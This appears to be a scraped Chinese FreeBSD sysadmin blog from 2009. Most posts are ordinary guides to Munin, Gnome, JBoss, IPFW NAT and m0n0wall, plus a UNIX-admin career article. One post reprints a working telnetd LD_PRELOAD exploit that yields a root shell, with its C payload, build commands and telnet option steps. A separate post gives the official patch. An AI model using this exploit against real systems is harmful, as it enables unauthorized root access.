如果通过源码包安装~~缺少相关的依懒包请参考
[Copy to clipboard] [ - ]
CODE:
rrdtool-1.2.23
p5-Net-1.21,1
p5-HTML-Template-2.9
p5-Date-Manip-5.44
gmake-3.81_2
perl-5.8.8
libtool-1.5.22_4
freetype2-2.2.1_2
libart_lgpl-2.3.19,1
png-1.2.18
p5-MIME-Base64-3.07
p5-Authen-SASL-2.10_1
p5-PathTools-3.25
p5-Digest-MD5-2.36
gettext-0.16.1_3
pkg-config-0.21
p5-Digest-HMAC-1.01
p5-GSSAPI-0.24
p5-Scalar-List-Utils-1.19,1
p5-Digest-1.15
libiconv-1.9.2_2
p5-Digest-SHA1-2.11

安装后确认一下munin用户的crontab,如果没有请自行添加
与MRTG相同~也需要每5分钟采集一次数据
[Copy to clipboard] [ - ]
CODE:
# su munin
$ crontab -e

#BEGIN_MUNIN_MAIN
MAILTO=root

*/5 * * * * /usr/local/bin/munin-cron
#END_MUNIN_MAIN

到这为止~~munin安装和设置结束了~~

测试一下看看是否能正常显示~~有可能开始没有数据~~需要等一会~
[Copy to clipboard] [ - ]
CODE:

http://$IP/munin

对于监测设备不是很多~~而且监测服务器性能不佳的情况下~~munin是不错的软件~~~而且安装设定也相对的简单一下~~

FreeBSD7.0Release中文桌面(Gnome)安装配置笔记

admin — Wed, 04 Mar 2009 09:17:14 +0000

FreeBSD7.0Release中文桌面(Gnome)安装配置笔记

环境：vmware6.0 虚拟512M内存，8G硬盘
IBM R51：pm1.7G，1G RAM Windows XP

一．安装FreeBSD7.0 Release
从http://www.freebsd.org/下载CD1/CD2/CD3共3个ISO镜像，把CD1挂载到vmware的光驱。接下来从光盘安装。为了得到一个比较干净的系统，选择软件包时选择最小化安装。具体操作不再赘述。

二．安装X Window（Xorg和Gnome）
1.首先用root登录系统。为了安装时不用频繁更换光盘，将CD1/CD2/CD3三张光盘中的/Packages/All文件夹下的软件全部COPY到/usr/soft中：

#mkdir /usr/soft \\建立/usr/soft目录
#mount /cdrom \\挂载光驱，换光盘镜像时用umount /cdrom先卸载再挂接另一个镜像
#cd /cdrom/packages/All \\切换到目标目录
#cp -R * /usr/soft \\拷贝文件

2．安装xorg以及gnome:
#cd /usr/soft \\切换到刚才存放软件的目录
#pkg_add xorg-7.3_1.tbz \\直接使用已经编译好的软件包安装xorg
#pkg_add gnome2-2.20.1.tbz \\直接使用已经编译好的软件包安装gnome

完成安装后重启电脑。

3. 配置xorg.conf
#cd /usr/X11R6/bin \\在7.0中这是一个虚拟目录，会自动制定到真实的目录
#./xorgconfig \\在7.0中这个命令与原来的5.4之前的版本有些变化
根据自己的硬件配置每个选项，我使用vmware虚拟机，显示设置成1024×768，显卡选择的VESA。其他基本一路回车。最后提示是否把配置文件写入文件，回答y就可以了。

4.配置.xinitrc

#echo “/usr/X11R6/bin/gnome-session” > ~/.xinitrc \\运行startx时默认的桌面系统为Gnome
#startx \\进入Gnome桌面系统，此时显示的是英文环境。

如果使用英文环境，到此已经可以正常使用了，如果使用中文环境，请往下看。

三．中文环境设置

1、Gnome中显示中文
Gnome本身就可以支持中文环境，只需要简单编辑配置文件即可（root用户默认为.cshrc文件，普通用户默认为 .shrc文件）：
#cd ~ \\切换到用户根目录
#ee .cshrc （或 ee .shrc ） \\使用ee编辑器编辑配置文件，也可以使用vi编辑

加入下面的内容：
setenv LANG zh_CN.eucCN （或 export LANG=’zh_CN.eucCN’ ）
setenv LC_LANG zh_CN.eucCN （或 export LC_LANG=’zh_CN.eucCN’ ）

保存、退出、重启电脑，登陆后运行startx，进入Gnome，此时界面已经是中文版。

2、安装输入法
我安装的是fcitx，如果您习惯或者喜欢其他输入法可以根据您自己的喜好选择。
下载zh-fcitx-3.4.2_1.tbz，放到/usr/soft目录，然后运行命令：
#pkg_add zh-fcitx-3.4.2_1.tbz
等待大概不到两分钟即可安装完毕，按照提示编辑.cshrc（或 .shrc）文件：
#cd ~ \\切换到用户根目录
#ee .cshrc （或 ee .shrc ）
加入下面内容：
setenv XMODIFERS @im=fcitx （或 export XMODIFERS=’@im=fcitx’ ）
setenv LC_CTYPE zh_CN.eucCN （或 export LC_CTYPE=’zh_CN.eucCN’ ）
保存退出。

配置.xinitrc
# ee .xinitrc
在/usr/X11R6/bin/gnome-session的上面一行加入（不能放在下面一行，否则登录gnome后不能自动启动fcitx）：
exec fcitx &
保存退出，重启，登陆后运行startx，进入Gnome就可以看到桌面顶端出现小企鹅输入法，按Ctrl＋Space切换中英文状态。

到目前为止已经可以在gnome窗口环境下查看以及输入中文了，如果需要其他软件另行安装。

==============
其他说明：

1、root用户的默认shell环境为csh，对应的配置文件为.cshrc；一般用户的默认shell环境为sh，对应的配置文件为.shrc。

2、我安装的时候最初选择的输入法版本是zh-fcitx-3.5.tbz，安装后无法启动，后来卸载重新安装了realse中自带的zh-fcitx-3.4.2_1.tbz就一切正常了。

3、我第一次成功进入桌面的时候没有问题，后来重新做了上面的xorg的配置后进入桌面鼠标不能移动，修改/etc/rc.conf这个文件，加入了moused_enable=’YES’，重启后鼠标就可以动了。

4、个人感觉FreeBSD系统自带的字体显示已经相当不错，比Linux中的默认显示效果要好，我自己就是使用的默认设置，只是把字号由10改成了12，其他没有做任何设置。
如果您仍然对字体的显示效果不满意，可以如下设置来进行美化：
建立TrueType目录：
#mkdir /usr/X11R6/lib/X11/fonts/TrueType/
将windows下的SimSun.ttc和Tahoma.ttf拷贝到/usr/X11R6/lib/X11/fonts/TrueType/。
重启，登陆后运行startx，进入Gnome设置字体：点击[桌面]–>[首选项]–>[字体]，将字体全部换成SimSun，字体大小为10，然后点[细节]选项，[平滑]选无，[微调]选轻微，[次像素顺序]选RGB。这样显示效果应该已经很清晰

10 Steps to Becoming a UNIX Administrator

admin — Mon, 02 Mar 2009 10:29:48 +0000

10 Steps to Becoming a UNIX Administrator

Russ Hill

See Sidebar 1

See Sidebar 2

See Sidebar 3

Notwithstanding the level of coverage given to Windows NT by the popular press, UNIX systems stand at the core of most mid-sized and large organizations. These systems run everything from mission-critical database applications to dazzling Web sites. The task of keeping these systems humming falls on the shoulders of the UNIX systems administrator. While the job description for a UNIX systems administrator may vary between organizations, the job carries a fair degree of respect within the industry; is often harried, but satisfying; and is reasonably well-paid. Becoming a UNIX systems administrator is thus a career goal worth striving for. Getting there, however, can be a challenge. This article is dedicated to the casual or first-time reader of the magazine who has not yet reached wizard status, but could use a little help on how to get there.

UNIX system administration is one of the few master/apprentice jobs still in existence, much like the old apothecary in medieval times. Usually, on-the-job training for a new apprentice is about the only training offered. Most organizations cannot afford to have a sys admin out for a week of vacation, much less for several week-long training sessions. However, times are changing. UNIX administration is now being taught at schools and employers now emphasize academic credentials and certification. The apprenticeship method of training, however, has produced many skilled administrators in the market place. Employers are starting to realize that the background, self-training, and the expected job performance is difficult to maintain for any system administrator. System administration is starting to be considered a career path, and professional salaries are beginning to be more consistent with the level of the skills required.

For those who have not yet obtained the wizard’s wand of a UNIX system administrator, here are 10 steps toward achieving that goal:

1. Learn UNIX Basics

Learn at least 80 basic commands of the UNIX system (for example, cp, and mv). Know the file system structure and where files and directories are located in the hierarchy and why. Learn how to create, modify, and store files using vi and the basics of customizing the UNIX user interface.
Attend a 40-hour course on the fundamentals of UNIX, or
Attend an Introduction to UNIX class taught at a local college
Read UNIX System Administration Handbook by Evi Nemeth, Garth Snyder, Scott Seebass, and Trent R. Hein. Prentice Hall. ISBN 0131510517
Read Life with UNIX: A Guide for Everyone by Don Libes and Sandy Ressler. Prentice Hall. ISBN 0135366577
Read Learning the VI Editor (Nutshell Handbook) by Linda Lamb. O’Reilly and Associates. ISBN 0937175676
Read Essential System Administration, 2nd Edition (Nutshell Handbook) by Æleen Frisch. O’Reilly and Associates. ISBN 1565921275

2. Go Beyond the Basics

Learn more about vi and more of the command set, including df, more, and rm. Learn the ksh and sh environment including .profile and .kshrc. Know the boot up and shutdown procedures as well as the backup and restore procedures, and learn the system administration tools on your system.
Attend a 40-hour course on UNIX Operations/Administration taught by the vendor of the UNIX that you are using
Read Learning the Korn Shell (Nutshell Handbook) by Bill Rosenblatt. O’Reilly and Associates. ISBN 1565920546
Read The Korn Shell: User and Programming Manual by Anatole Olczak. Addison-Wesley Publishing Company. ISBN 0201176882
Read all man pages on the UNIX system

3. Learn Shell and Shell-Language Programming

Learn how to write shell scripts, Use “for” loops and “if” statements; use awk, sed, ed, cat, and grep commands and learn to pass information to and from shell variables.
Attend a UNIX Shell programming class
Read The AWK Programming Language by Alfred V. Aho, Brian W. Kernighan, and Peter J. Weinberger. Addison-Wesley Publishing Company. ISBN 020107981X
Read UNIX Shell Programming (Hayden Books UNIX System Library) by Stephen G. Kochan and Patrick H. Wood. Hayden Books. ISBN 067248448X
Read UNIX in a Nutshell: A Desktop Quick Reference for System V and Solaris 2.0 (Nutshell Handbook) by Daniel Gilly. O’Reilly and Associates. ISBN 1565920015
Read Learning Perl, 2nd Edition (Nutshell Handbook) by Randal L. Schwartz and Tom Christiansen, Foreword by Larry Wall. O’Reilly and Associates. ISBN1565922840
Read Advanced Perl Programming (Nutshell Handbook) by Sriram Srinivasan. O’Reilly and Associates. ISBN 1565922204

4. Become One with Your UNIX System

Install and configure a UNIX system from scratch. Make and mount file systems. Use cron to execute program or shell scripts, and configure UNIX for printing. Learn more about UNIX permissions. Learn what each daemon does that is running on your system. Learn Linux.
Read all the UNIX manuals that come with your system

5. Learn DNS and BIND

Learn the Domain Name System (DNS) and Berkeley Internet Name Domain (BIND) and know how to use nslookup, whois, and dig.

Read DNS and BIND by Paul Albitz and Cricket Liu. O’Reilly and Associates. ISBN 1565922360

6. Become a Mail Master

Configure UNIX to dial out on a modem. Learn about sendmail, mail, and UUCP. Configure UNIX to send email to another system.
Attend a sendmail class. http://www.harker.com has one of the best sendmail and DNS classes.
Read Using & Managing UUCP (Nutshell Handbook) by Ed Ravin, Dale Dougherty, Grace Todino, and Tim O’Reilly. O’Reilly and Associates. ISBN 1565921534
Read Sendmail (Nutshell Handbook) by Bryan Costales and Eric Allman. O’Reilly and Associates. ISBN 1565922220

7. Learn Networking

Learn the TCP/IP layers as well as the OSI model. Learn the applications telnet and ftp, and know what SNMP and SMTP are. Learn about routers and bridges, and how to configure subnet masking. Also read about arp, rarp, bootp, ip, icmp, rip, tcp, udp, bftp, and tftp.
Attend a TCP/IP class
Read Internetworking with TCP/IP: Design, Implemenation, and Internals, Vol. 2 by Douglas E. Comer and David L. Stevens. Prentice Hall. ISBN 0131255274
Read Internetworking with TCP/IP: Principles, Protocols, and Architecture, Vol. 1 by Douglas E. Comer. Prentice Hall. ISBN 0132169878
Read Advanced Programming in the UNIX Environment (Addison-Wesley Professional Computing Series) by W. Richard Stevens. Addison-Wesley Publishing Company. ISBN 0201563177
Read TCP/IP Illustrated, Volume 1: The Protocols (Addison-Wesley Professional Computing Series) by W. Richard Stevens. Addison-Wesley Publishing Company. ISBN 0201633469

8. Learn the Ns (NFS and NIS) and Outs of UNIX

Learn NFS and NIS/NIS+; know how to use hard links and symbolic links. Learn rcp, rlogin, and rsh commands. Revisit shell programming and brush up on using and redirecting the standard-out and standard-error outputs of the UNIX shell.
Read Managing NFS and NIS by Hal Stern and Mike Loukides (Editor). O’Reilly and Associates. ISBN 0937175757

9. System Tuning and Accounting

Learn about UNIX system performance tuning and how to make changes to, and rebuild, the kernel. Learn the accounting packages that come with your UNIX system.
Read System Performance Tuning by Mike Loukides. O’Reilly and Associates. ISBN 0937175609
Read Unix Performance Tuning (Sys Admin Essential Reference Series) by Sys Admin Magazine (Editor). Miller Freeman Books. ISBN 0879304707

10. C the Light

Learn C programming on UNIX; know how to use make. Port programs between UNIX systems.
Attend a Beginning C class
Attend an Advanced C class
Attend a System Programming C class
Read UNIX: Network Programming by W. Richard Stevens. Prentice Hall. ISBN 0139498761
Reference Using C on the UNIX System (Nutshell Handbook) by D. Curry. O’Reilly and Associates. ISBN 0937175234
Reference The C programming Language: ANSI C Version by Brian W. Kernighan and Dennis M. Ritchie. Prentice Hall. ISBN 0131103628
Reference Managing Projects with Make (Nutshell Handbook) by Andrew Oram and Steve Talbott. O’Reilly and Associates. ISBN 0937175900

These books can be found at http://www.amazon.com or http://www.ora.com.

JBOSS-5.0.0.GA-jdk6 for FreeBSD7

admin — Wed, 25 Feb 2009 04:17:50 +0000

首先我们要到先下载所需要的所有包
jboss-5.0.0.GA-jdk6 下载地址:
http://sourceforge.net/project/s … p;release_id=645033

perl-5.8.8_1
xextproto-7.0.2
xproto-7.0.10_1
xtrans-1.0.4
pkg-config-0.23_1
javavmwrapper-2.3.2
mysql-server-5.0.67
mysql-client-5.0.67
mysql-connector-java-5.1.7.tar

mysql-connector-java-5.1.7.tar 到MySQL 官方下载

http://dev.mysql.com/downloads/connector/j/5.1.html

这些包都可以在freebsd 的 FTP 上找到

ftp://ftp.freebsd.org/pub/FreeBS … es-7.1-release/All/

我们只要下载diablo-jdk-freebsd7.i386.1.6.0.07.02 就可以

http://www.freebsdfoundation.org … 386.1.6.0.07.02.tbz

然后我们就可以开始安装..

[pkgs]# pkg_add perl-5.8.8_1.tbz
[pkgs]# pkg_add mysql-server-5.0.67.tbz
[pkgs]# pkg_add diablo-jdk-freebsd7.i386.1.6.0.07.02.tbz

//安装diablo-jdk-freebsd7.i386.1.6.0.07.02 时有个LICENSE 敲几个空格.打个yes 回车就OK.

这时我们安装已经成功,

我们退出重登陆一下

[~]# java -version
java version “1.6.0_07″
Diablo Java(TM) SE Runtime Environment (build 1.6.0_07-b02)
Diablo Java HotSpot(TM) Client VM (build 10.0-b23, mixed mode)

看到上面说明你的JDK 安装成功.可以继续..(注: Free BSD 7 安装 diablo-jdk-freebsd7.i386.1.6.0.07.02 时不用设环境变量,他已经帮我们设置好.

[pkgs]# mv jboss-5.0.0.GA-jdk6.zip /usr/local/
[pkgs]# cd /usr/local/
[/usr/local]# jar -xvf jboss-5.0.0.GA-jdk6.zip
[/usr/local]# ln -s /usr/local/jboss-5.0.0.GA /usr/local/jboss
[/usr/local]# cd jboss/bin

再安装 JDBC

解压 mysql-connector-java-5.1.7.tar

复制mysql-connector-java-5.1.7-bin.jar 到 jboss/server/default/lib/里

[/usr/local/jboss/bin]# ./run.sh -c default -b 192.168.0.247 (注一定要指定IP )

我们可以看到以下信息,表明我们安装成功.

00:05:30,528 INFO [ServerImpl] JBoss (Microcontainer) [5.0.0.GA (build: SVNTag=JBoss_5_0_0_GA date=200812042120)] Started in 3m:6s:719ms

启动 JBOSS
./run.sh -c default -b youIP&

关闭 JBOSS

./shutdown.sh -S

FreeBSD7.0 IPFW内核级NAT安装设置笔记

admin — Wed, 25 Feb 2009 03:59:25 +0000

一、内核加入以下内容并编译内核：
options IPFIREWALL
options IPFIREWALL_FORWARD
options IPFIREWALL_VERBOSE
options IPFIREWALL_VERBOSE_LIMIT=100
options IPFIREWALL_DEFAULT_TO_ACCEPT
options DUMMYNET
options IPFIREWALL_NAT
options LIBALIAS

二、在/etc/rc.conf中加入以下内容：
firewall_enable=”YES”
firewall_nat_enable=”YES”
firewall_nat_interface=”bge1″
firewall_type=”/etc/ipfw.conf”

说明：bge1是接外网的网卡

三、ipfw.conf（试验用）：
add 00100 allow all from any to any via lo0
add 00110 deny all from any to 127.0.0.0/8
add 00120 deny all from 127.0.0.0/8 to any
add 00200 deny all from any to any ipoptions rr
add 00210 deny all from any to any ipoptions ts
add 00220 deny all from any to any ipoptions ssrr
add 00230 deny all from any to any ipoptions lsrr
add 00240 deny tcp from any to any in tcpflags syn,fin

add 00300 nat 10 all from any to any via bge1
nat 10 config if bge1

nat 50 config redirect_port tcp 192.168.1.1:80 80
nat 60 config redirect_port tcp 192.168.1.1:21 21

add 01030 allow all from 192.168.0.0/16 to any
add 01040 allow all from any to 192.168.0.0/16

add 04000 deny all from any to any

四、试用感言
在FreeBSD上作NAT，小流量(100兆以下)，用户数少情况下(2000左右)，IPFW、IPFILTER和PF区别不大，但是大流量，用户数多(3000以上)的情况下，IPFW和IPFILTER占用CPU较多（50%以上），流量也被打下来不少，启用POLLING后会有所改善。在三款防火墙中，表现最好的当属PF，占用CPU较少（30%左右），但流量到150兆左右就上不去，用户再多一些(5000左右)，开始迟滞，出现掉线，吞吐量下降。

m0n0wall安装方法与配置指南

admin — Tue, 24 Feb 2009 13:16:47 +0000

如何在标准PC上安装CD-ROM版本
在标准PC上安装m0n0wall防火墙系统CD-ROM（＋软盘）版本需要如下这些步骤：
 取得m0n0wall防火墙系统的ISO镜像文件
 将ISO镜像文件烧录在CD-R 或者CD-RW上
 FreeBSD（ATAPI 刻录机）：burncd –s max –e data cdrom-xxx.iso fixate
 Windows：使用你喜欢的烧录软件（比如Nero）来烧录ISO镜像文件（2048bytes/sector，Mode-1）
 找一片1.44M的软盘并格式化（采用MS-DOS / FAT文件系统）
 FreeBSD：fdformat –f 1440 /dev/fd0 && newfs_msdos –L “m0n0wallcfg” –f 1440 /dec/fd0 注意：如果你的软盘已经格式化，那么你可以忽略这一步
 Windows：format A:
 打开你的PC，进入BIOS，设置为从CD-ROM启动，禁止从软盘启动
 插入烧录好的光盘和格式化好的软盘（不要写保护）
 启动PC
 等待控制台菜单出现，选择1指定网络接口
 指定LAN/WAN/OPT使用的接口名称（提示：可以使用自动检测，或者根据MAC地址确定哪张网卡是哪个接口）
 修改LAN接口的ip地址，或者使用默认的地址（192.168.1.1; m0n0wall默认将提供DHCP服务器功能）
 通过浏览器管理接口访问m0n0wall（用户名：admin，密码：mono）
 根据需要修改默认的配置
如何在标准PC或者嵌入式PC上安装CF/IDE版本
在标准PC或者嵌入式PC上安装m0n0wall防火墙系统CF/IDE版本需要如下这些步骤：
 取得m0n0wall防火墙系统的原始CF/IDE镜像文件
 将镜像文件写入CF卡（>;5M）或者IDE硬盘，可以在FreeBSD下使用dd或者在windows下使用我提供的工具physdiskwrite 0.4
 FreeBSD：

 gzcat generic-pc-xxx.img | dd of=/dev/rad[n] bs=16k
 这里n=你的CF卡的AD设备号（通过dmesg查看）
 忽略关于跟踪信息的警告，这是由于数字签名造成的
 Linux：
 Gunzip –c generic-pc-xxx.img | dd of=/dev/hdX bs=16k
 这里X=你的CF卡的IDE设备名（通过hdparm –i /dev/hdX查看），有些适配卡，特别是USB，可能会显示在SCSI，比如 /dev/sdX
 忽略关于跟踪信息的警告，这是由于数字签名造成的
 Windows：
 如果你的IDE硬盘容量超过800MB，请添加参数 –u ，（确定你选择了正确的硬盘）
 physdiskwrite [-u] generic-pc-xxx.img
 将CF卡或者IDE硬盘接到PC
 将PC连上网络（LAN/WAN/…）
 打开PC电源
 指定LAN/WAN/OPT使用的接口名称（提示：可以使用自动检测，或者根据MAC地址确定哪张网卡是哪个接口）
 修改LAN接口的ip地址，或者使用默认的地址（192.168.1.1; m0n0wall默认将提供DHCP服务器功能）
 通过浏览器管理接口访问m0n0wall（用户名：admin，密码：mono）
 根据需要修改默认的配置

m0n0wall配置指南
通过控制台配置
m0n0wall启动完成之后会列出可用的网络接口，包括名称和MAC地址，并且提供一个简单的菜单：
1设置LAN接口、WAN接口、DMZ接口
2配置LAN接口地址
3恢复Web管理登录密码
4恢复出厂设置
5重启系统
选择1，根据提示输入LAN、WAN、OPT接口使用的网络接口名称，也可以采用自动检测的方法，先拔掉所有网线，然后输入1，输入a，根据提示插入网线，然后回车检测，这样检测的是LAN网络接口名称，根据提示可以继续检测WAN网络接口名称和OPT网络接口名称。如果网络接口名称指定发生变化，在完成检测之后系统将提示重新启动。
选择2，设定LAN网络接口的ip地址，首先输入ip地址，回车后提示输入子网掩码的长度，比如8、16、24等，采用CIDR格式。
剩余3个选项很简单，根据提示操作就行。
通过浏览器配置
控制台只是提供了一些初始化的简单配置功能，要想更多的配置整个防火墙的各项参数，还得从浏览器登录。默认采用的是80端口，也就是HTTP，可以改成支持SSL的HTTPs，在浏览器里输入 http://192.168.1.1/（假定防火墙LAN接口ip地…0n0wall主界面。
在System-General setup里面，hostname指定了防火墙的名称，比如FW，domain指定了防火墙所在的域，比如mycom.com，这样别人看到的防火墙全称就是FW.mycom.com，DNS servers指定了防火墙可以使用的DNS服务器地址，这将提供给DHCP服务器和PPTP VPN客户端使用，Username可以重新设定管理员的用户名，默认是admin，Password可以重新管理员的登录密码，WebGUI protocol指定是采用 HTTP://192.168.1.1还是HTTPS:/192.168.1.1/?..芾斫缑妫瑆ebGUI port指定管理端口，默认是HTTP采用80端口而HTTPS采用443端口，如果改变了端口，就需要在URL中进行指定，比如 http://192.168.1.1:8088/。
在System-Static routes里面添加静态路由，如果你对路由这个概念不熟悉，建议你先看看这方面的书籍。
在System-Firmware里面可以对系统固件进行升级，当然这对光盘版不适用，当防火墙有新版本出来时，可以先点击 Enable firmware upload ，然后选择新版本的防火墙软件文件，最后点击 Upgrade firmware ，当升级完成时系统自动重新启动，不会损坏配置文件。在升级过程中不用取消，否则整个系统将崩溃。
赟ystem-Advanced里面可以设置是否让NAT支持IPv6封装包，是否启动桥接过虑功能，是否禁用控制台菜单，以及额外SSL的是指证书。
在Interface-assign里面可以重新设定网络接口名称。
在Interface-LAN里面设置LAN接口ip地址
在Interface-WAN里面设置WAN接口类型，并根据接口类型设置参数，包括MAC地址；静态IP地址和网关；PPPoE的用户名、密码和服务名；PPTP的用户名、密码、本地IP地址和远端ip地址；是否阻止保留网络地址段从WAN接口进入等。
在Interface-optional interfaces里面设定接口描述，是否跟其他接口进行桥接，接口IP地址等。
在Interface-wireless configuration里面设置无线网络的模式、SSID、通道、WEP加密、是否跟其他接口桥接，接口IP地址等。
在Firewall-Rules里面设置防火墙的访问规则。
在Firewall-NAT里面设置网络地址转换规则，包括入口转换、服务器转换、一一映射、出口转换等。
在Firewall-Traffic shaper里面设置带宽分配策略，包括是否启用带宽分配功能、定义管道、设定队列权重、带宽分配规则等。
在Firewall-Alias里面设定主机或者网络别名，通过别名，可以更好的维护防火墙规则。
在Services-DNS forwarder里面设定DNS缓存转发，还可以设定一些新的DNS条目，以覆盖其他外部DNS服务器提供DNS解析的某些条目。
在Services-Dynamic DNS里面设定动态域名客户端，不一定支持外部所有的动态域名服务器，如果你不知道动态域名是怎么回事，建议你先上网看看相关资料，比如DNS2go。
在Services-DHCP里面设置是否启用DHCP服务，LAN接口所在的子网、子网掩码、可用的DHCP地址段，要分配的DHCP地址段、WINS服务器地址、默认的租期、最长的租期、DHCP保留等。
在Services-SNMP里面设定系统位置、系统联系人、SNMP联接串等。
在Services-Proxy ARP里面设定ARP代理，可以设定ARP代理单个地址、一段地址或者一个网段。
在VPN-IPsec里面设定IPSec VPN的参数，更详细的信息参与IPSec VPN的相关资料
在VPN-PPTP里面设定PPTP VPN的参数，主要是是否启用PPTP VPN 服务器，VPN服务器地址，远程客户机地址段等。
在VPN-PPTP-Users里面维护PPTP VPN的用户帐户和密码。
在Status-System里面显示系统的简要信息
在Status-Interfaces里面显示系统网络接口的简要信息
在Status-Traffic graph里面实时显示网络接口的流量信息
在Status-Wireless里面显示系统无线网络配置信息

在Diagnostics-System logs里面显示系统日志，包括系统日志、防火墙日志、DHCP日志和关于日志的设置，比如设置远程日志收集器的ip地址等。
在Diagnostics-DHCP leases里面显示DHCP分配地址的数据。
在Diagnostics-IPSec里面显示IPSec的设置信息，比如SAD、SPD。
在Diagnostics-ping里面可以使用ping命令探测网络连通性。
在Diagnostics-Reset state里面可以重置NAT状态表、防火墙规则状态表。
在Diagnostics- Backup/Restore里面可以备份、恢复防火墙系统的配置文件。
在Diagnostics- Factory defaults里面进行恢复出厂设置的操作。
在Diagnostics- Reboot system里面可以重新启动防火墙系统。

FreeBSD最新Oday漏洞修复

admin — Sun, 22 Feb 2009 09:50:17 +0000

关于FreeBSD那个0day，当然现在已经放补丁。有不明白详细情况的请访问：http://netsecurity.51cto.com/art/200902/110257.htm

下面就说一下修补的方法：

首先，大家执行 fetch http://security.FreeBSD.org/patches/SA-09:05/telnetd.patch 把补丁抓下来。

切换到/usr/src目录。

patch < /path/to/patch，这里路径自己填。

然后再切换到/usr/src/lib/libtelnet目录，执行：

make obj && make depend && make
这里要等一会。

cd /usr/src/libexec/telnetd

再执行：

make obj && make depend && make && make install

好，如果没有意外的的话，补丁就打上。当然，不推荐启动telnetd这个服务的，安全性太差。希望各位Unix工程师的系统稳如泰山.

FreeBSD爆0day 远程能溢出本地可提权

admin — Sun, 22 Feb 2009 09:47:33 +0000

没想到现在有人会研究，看到后惊叹了一下。是telnetd部分的问题，在FreeBSD7.0正式版测试通过，7.1似乎也有同样问题，但未经过测试。有兴趣的朋友可以调试一下，代码如下：

# FreeBSD telnetd local/remote privilege escalation/code execution
# remote root only when accessible ftp or similar available
# tested on FreeBSD 7.0-RELEASE
# by Kingcope/2009
#include
#include
#include
#include
void _init() {
FILE *f;
setenv(“LD_PRELOAD”, “”, 1);
system(“echo ALEX-ALEX;/bin/sh”);
}
—snip—–
Then we compile this stuff.
—snip—–
#gcc -o program.o -c program.c -fPIC
#gcc -shared -Wl,-soname,libno_ex.so.1 -o libno_ex.so.1.0 program.o
-nostartfiles
—snip—–
Then we copy the file to a known location (local root exploit)
—snip—–
#cp libno_ex.so.1.0 /tmp/libno_ex.so.1.0
—snip—–
…or we upload the library through any other available attack vector.
After that we telnet to the remote or local FreeBSD telnet daemon
with setting the LD_PRELOAD environment variable to the known location
as a telnet option before.
—snip—–
#telnet
/>auth disable SRA
/>environ define LD_PRELOAD /tmp/libno_ex.so.1.0
/>open target
—snip—–
ALEX-ALEX
#ROOTSHELL

更简单的FreeBSD+gnome中文

admin — Sun, 22 Feb 2009 09:32:08 +0000

最小化安装—>pkgadd -r xorg gnome2 wqy-zenhei gdm—->ee /etc/rc.conf 添加一行gdm_enable=”YES”—>reboot—>再gdm里select language 更改为大陆简体—->进入gnome就是简体中文文泉正体点阵字体

IPFW中文手册

admin — Thu, 19 Feb 2009 12:08:51 +0000

ipfw 是 FreeBSD 内建的防火墙指令，我们可以用它来管理进出的网络交通。如果防火墙服务器是扮演着路由器 (gateway 例如上一篇中的 NAT 服务器) 的角色，则进出的封包会被 ipfw 处理二次，而如果防火墙扮演的是桥接器 (bridge) 的角色，则封包只会被处理一次。这个观念关系着我们以下所要介绍的语法，有的语法并不适用于桥接器。

另外，我们在设定防火墙时有二种模式，一种模式是预设拒绝所有联机，再一条一条加入允许的联机；另一种是预设接受所有联机，加入几条拒绝的规则。如果是非常强调安全性，应该是使用预设拒绝所有联机，再一条一条加入我们允许的规则。

我们会将 firewall 的设定写在 /etc/rc.firewall 中，每一条设定都是以先入为主 (first match wins) 的方式来呈现，也就是先符合的规则 (rules) 为优先。所有进出的封包都会被这些规则过滤，因此我们会尽量减少规则的数量，以加速处理的速度。

在 kernel 中，关于防火墙的设定有下列几条：

# 防火墙
options IPFIREWALL

# 支援 NAT
options IPDIVERT

# 下面这一行是预设允许所有封包通过，如果没有这一行，
# 就必须在 /etc/rc.firewall 中设定封包的规则。
# 这条规则内定编号是 65535，也就是所有规则的最后一条
# 如果没有加这一条规则，内定就是拒绝所有封包，
# 只允许规则中允许的封包通过。
options IPFIREWALL_DEFAULT_TO_ACCEPT

# 这一行是让你可以在 ipfw 中设定要记录哪些封包，
# 如果没有这一行，就算设定了要留下记录也不会有作用。
options IPFIREWALL_VERBOSE

# 这一行是限制每一条规则所要记录的封包数量，
# 因为同样的规则可能有许多记录，加上这一条可以使
# 同样的记录重复数减少，以避免记录文件爆增。
options IPFIREWALL_VERBOSE_LIMIT=10

# 下面这一行是用来支援封包转向，
# 当你要使用 fwd 动作时必须要有这一项设定。
options IPFIREWALL_FORWARD

# 如果要使用 pipe 来限制频宽，必须加入下列选项以支持 dummynet。
options DUMMYNET

ipfw 也支持状态维持 (keep-state) 的功能，就是可以让符合设定的规则以动态的方式来分配增加规则 (地址或连接端口) 来让封包通过。也就是说防火墙可以记住一个外流的封包所使用的地址及连接端口，并在接下来的几分钟内允许外界响应。这种动态分配的规则有时间的限制，一段时间内会检查联机状态，并清除记录。

所有的规则都有计数器记录封包的数量、位数、记录的数量及时间等。而这些记录可以用 ipfw 指令来显示或清除。

在说明 ipfw 规则的语法之前，我们先来看这个指令的用法。ipfw 可以使用参数：

指令说明
ipfw add [rule] 新增一条规则。规则 (rule) 的语法请参考下一节的说明。
ipfw delete [number] 删除一条编号为 number 的规则。
ipfw -f flush 清除所有的规则。
ipfw zero 将计数统计归零。
ipfw list 列出现在所有规则，可以配合下列参数使用。
-a 使用 list 时，可以列出封包统计的数目。
-f 不要提出确认的询问。
-q 当新增 (add)、归零(zero)、或清除 (flush) 时，不要列出任何回应。当使用远程登入，以 script (如 sh /etc/rc.firewall) 来修改防火墙规则时，内定会列出你修改的规则。但是当下了 flush 之后，会立即关掉所有联机，这时候响应的讯息无法传达终端机，而规则也将不被继续执行。此时唯一的方法就是回到该计算机前重新执行了。在修改防火墙规则时，最好在计算机前修改，以免因为一个小错误而使网络联机中断。
-t 当使用 list 时，列出最后一个符合的时间。
-N 在输出时尝试解析 IP 地址及服务的名称。
-s [field] 当列出规则时，依哪一个计数器 (封包的数量、位数、记录的数量及时间) 来排序。

12.3.1 ipfw 规则

我们在过滤封包时，可以依据下列的几个封包所包含的信息来处理该封包：

接收或传送的接口，可以使用接口名称或地址。
方向，流入或流出。
来源或目的地的 IP 地址，也可以加上子网掩码。
通讯协议，TCP,UDP,ICMP 等。
TCP flags。
IP fragment flag。
IP options。
ICMP 的类型。
和封包相关的 socket User/group ID。
使用 IP 地址或 TCP/UDP 的端口号来做为规则可能蛮危险的，因为这二种都有可能被以假的信息所蒙骗 (spoof)。但是这二种却也是最常被使用的方法。

下列为 ipfw rules 的语法：

[number] action [log] proto from src to dist [interface_spec] [option]
使用 [ ] 包起来的表示可有可无，我们一一为大家说明它们的意义：

number：

